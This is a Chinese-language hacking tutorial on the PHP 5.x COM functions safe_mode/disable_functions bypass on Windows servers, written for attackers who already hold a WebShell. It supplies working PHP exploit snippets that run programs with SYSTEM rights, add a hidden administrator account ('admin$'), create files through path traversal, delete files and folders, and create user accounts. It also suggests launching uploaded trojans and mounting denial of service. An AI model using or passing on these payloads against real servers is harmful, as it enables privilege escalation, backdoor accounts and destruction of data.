PHP是英文“超级文本预处理语言”(Hypertext Preprocessor)的缩写,是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能,所有的CGI或者JavaScript的功能,PHP都能实现,支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞,也就是PHP 5.x COM functions safe_mode and disable_function bypass漏洞。它可以实现提权,这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞,由于本人水平有限,请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在,.net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装,是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展,不用额外加载其他扩展来调用漏洞函数。 现在部分大中型网站都喜欢用PHP+Apache+Windows来架设,这样的话,PHP漏洞的打击面就会很大了,特别是在现在提权越来越难的形势下,我想,很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容,漏洞的利用要求php.ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2,在我的测试当中,发现并不一定要严格按照这样配置,大家可以自己测试一下看看。 safe_mode = On disable_functions = com_load_typelib open_basedir = htdocs 下面我们就逐一看看这个漏洞的内容与利用。
compatUI.dll中的RunApplication函数 这个漏洞的测试代码如下。 <?php $compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}'); //加载compatUI.dll $compatUI->RunApplication("something", "notepad.exe", 1); //运行记事本 ?>
将其保存为PHP文件,放到服务器上,然后用IE访问就可以了。运行后IE是没有什么回显的,如图1所示,但实际上记事本已经运行了,而且是SYSTEM权限,因为它是由系统服务来运行的,所以继承了SYSTEM权限,如图2所示。
利用这个漏洞,我们可以运行已经上传好的木马,实现WebShell的提权。当然,如果你足够无聊的话,还可以写成循环,让服务器运行很多记事本,实现D.O.S。
Wscript运行命令
这个漏洞的测试代码如下。 <?php $wscript = new COM('wscript.shell'); //要用到wscript.exe $wscript->Run("cmd.exe /c calc.exe");//运行calc.exe ?>
访问该脚本后,服务器上出现了SYSTEM权限的calc.exe进程,如图3所示。我们只要发挥一下想象力,修改一下脚本,就能加个管理员账户了,具体代码如下。
<?php $wscript = new COM('wscript.shell');$wscript->Run("cmd.exe /c net user admin$ /add"); $wscript->Run("cmd.exe /c net localgroup administrators admin$ /add"); ?>
访问该脚本之后,即可添加管理员成功,这对SYSTEM权限来说简直就是噩梦,如图4所示
wshom.ocx中的OpenTextFile OpenTextFile可以用于创建一个文件,其中存在的漏洞的测试代码如下。
<?php $mPath = str_repeat("..\\",20); $FSO = new COM('Scripting.FileSystemObject');//用到了wshom.ocx $FSO->OpenTextFile($mPath."bat.bat", 8, true); //在服务器上创建文件,虽然这个函数是用来打开文件的,但是文件不存在就被创建了 ?>
果然在C区根目录出现了这个批处理文件bat.bat,如图5所示
wshom.ocx中的DeleteFile 这个函数可以删除服务器上的文件,大家要小心使用,测试代码如下。
<?php $mPath = str_repeat("..\\",20); $FSOdelFile = new COM('Scripting.FileSystemObject'); //利用了wshom.ocx $FSOdelFile->DeleteFile($mPath.".\\*.dat", True); //删除C区根目录的所有dat文件?>
wshom.ocx中的DeleteFolder 利用这个函数可以删除服务器上的文件夹,很恐怖哦。测试代码如下:
<?php $mPath = str_repeat("..\\",20); $FSOdelFolder = new COM('Scripting.FileSystemObject'); //使用wshom.ocx $FSOdelFolder->DeleteFolder($mPath.".\\11", True); //删除特定的文件夹 ?>
访问之后,成功删除了c:\11这个文件夹。
shgina.dll中Create函数创建账户 这个漏洞的测试代码如下:
<?php $user = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}'); //利用shgina.dll$user->Create("asd"); //创建账户asd ?>
不过,这里要注意一下,利用这个漏洞创建的账户只是属于users组的,如图6所示
关于PHP 5.x COM functions漏洞的利用就为大家介绍到这里了,测试代码已经随文提供,大家根据自己的需要,进行适当修改即可。不过,提醒大家一下,以上几个漏洞的利用前提是我们已经有了WebShell,之后才可以上传用于提权的脚本,切记哦
|